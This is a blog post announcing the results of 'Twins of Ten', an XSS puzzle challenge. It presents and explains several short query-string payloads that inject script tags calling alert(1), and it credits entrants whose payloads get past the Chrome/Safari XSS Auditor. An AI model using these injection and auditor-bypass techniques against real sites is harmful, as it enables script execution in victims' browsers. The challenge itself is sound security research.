A couple of weeks ago I put up a small challenge for a specific XSS problem, called Twins of Ten.
The idea was to find a payload that was limited to ten characters, these characters would repeat once and you could expand it to how many pairs you wanted.
The challenge was to both find the shortest payload but also find a way around the XSS Auditor inside Chrome / Safari. My own solution was posted to a secret gist so I could prove I had a solution before the challenge started. What’s also interesting is that my solution, according to the submissions posted, could be shortened down even further.
So, I got a bunch of submissions, only 2 people submitted only one time. 6 people submitted at least 2 submissions. Average was 2.6 emails per submitter which was pretty interesting.
Okay, so let’s focus on the challenge itself. The result of posting this to the example code:
?a=XXX&b=YYY&c=ZZZ
Would end up with this response:
<0123><b x="x">hejsan</b></0123><0123XXX><b x="x">hejsan</b></0123XXX><0123YYY><b x="x">hejsan</b></0123YYY><0123ZZZ><b x="x">hejsan</b></0123ZZZ><!-- 9 chars long -->
So as you see, you have a bunch of characters you could take advantage of to trigger an XSS.
Now, my solution looked like this:
?id=<script>//&id=';%0a'&id='%0aalert/*&id=*/(1)//&id=</script>
This results in the following cleaned up response:
<script>//... '...'; '...' alert/*... alert/*...*/(1)//...</script>
As you see, when the script-node starts, it begins with a line comment (//
). Then, on the next line, I just wrap the content into a string. The string doesn’t do anything. The same thing happens on the third line, just a string. The fourth line begins with the function call alert
then a multi-line comment starts (/*
). It ends (*/
) on the fifth line which then has the parameters passed to the alert function which in this case is (1)
followed by a line comment block (//
).
The XSS Auditor in Blink/Webkit can block XSS if you start to comment stuff out using code in your request, however, it gets confused as soon as you mix in data, which was not in the request, as strings in the Javascript scope using code blocks from the actual request. And since the data from the request was repeating and also could expand depending on how many pairs you wanted, you could take advantage of that trying to break the auditor.
Now, when submissions started to arrive, people had a simliar approach, but with some tweaks.
First, @killr0x33d posted a 35 char solution without XSS bypass:
?id=<script>//&id=%0Aalert(/*&id=*/1);//&id=</script>
And then a 40 char version with audit bypass (which was similar to mine):
?id=<script>/*&id=*/'%2B"&id="%2Balert(/*&id=*/1);//&id=</script
Then, both @killr0x33d and @peterjaric started to battle to decrease characters in their payloads. It ended with both having a 33 character solution without audit bypass:
@peterjaric:
?id=<script>//&id=%0D-alert//&id=%0D(1)//&id=</script
This code would then end up as:
<script>//... -alert//... -alert//... (1)//... (1)//...</script>
@killr0x33d:
?id=<script>//&id=%0Aalert(/*&id=*/1)//&id=</script
This code would end up as:
<script>//... alert(/*... ...*/1)//...</script>
As you see, extremly similar to each other, but with some differences.
@bugch3ck also came up with an equal solution but 35 chars long:
?id=<script>//&id=%0aalert/*&id=*/(1);//&id=></script
@hv1989 also joined in and posted both a 99 and a 86-char solution, both with XSS Audit bypass. He finally shortened it down to 47 chars:
?id=<script>//&id='%0A'%2B&id='%0A//&id=%0Ae=alert//&id=\%0Ae(1);'//&id='</script
Which translates into:
<script>//... '...' '...' //... //... e=alert//... e=alert//... e(1);'...\ e(1);'//...</script>
Which looks awesome, he’s even using backslash escape for multi line strings. Really nice!
Now, things started to get really interesting.
@bugch3ck posts a 32 character solution without XSS audit bypass:
?id=<script>//&id=%0aalert//&id=%0a(1)//&id=</script
@aboul3la joins in with another one, actually the EXACT same sort of solution:
?id=<script>//&id=%0Aalert//&id=%0A(1)//&id=</script
Amazing!
@martinlaak now joins in with a 38 character version without bypass and then a 46 character version with a bypass. But then, he slams everyone off their chairs with a total knockout:
?id=<script>--&id=%0Aalert//&id=%0A(1)//&id=</script
A 32 character solution with XSS auditor bypass! Absolutely brilliant. The secret to his trick is the way he’s commenting out data inside the Javascript scope using characters which was already included in the response. As you see, his first pair contains of: <script>--
And since the content of the response is wrapped in <
and >
he uses the >
to create this form of comment:
<script>-->... alert//... alert//... (1)//... (1)//...</script>
Which will confuse Chrome/Safari since the start of the comment is not inside the request but already in the content of the response.
@irsdl also joined in with a different approach to the problem (both with a 47 and a 42 character XSS auditor bypass):
?id=<script>/*&id=*/`${'-"&id="-alert/*&id=*/(1)}&id=`</script
He doesn’t do any new line insertion at all, just hardcore ES6 template string one line madness 😀
It translates into:
<script>/*...*/`${'...'-"..."-alert/*...*/(1)}...`</script>
Really awesome!
Now, sorting the list of contestants on the shortest payloads and then on XSS Auditor bypass you’ll see this:
Three guys did 32 characters, and one of them also with an XSS audit bypass!
So, @martinlaak is the winner of the challenge! Congratulations! On second place comes@bugch3ck and @aboul3la.
I’ll contact you on email to send out some nice swag to you guys! Thanks for participating, I had a lot of fun, I hope you did as well.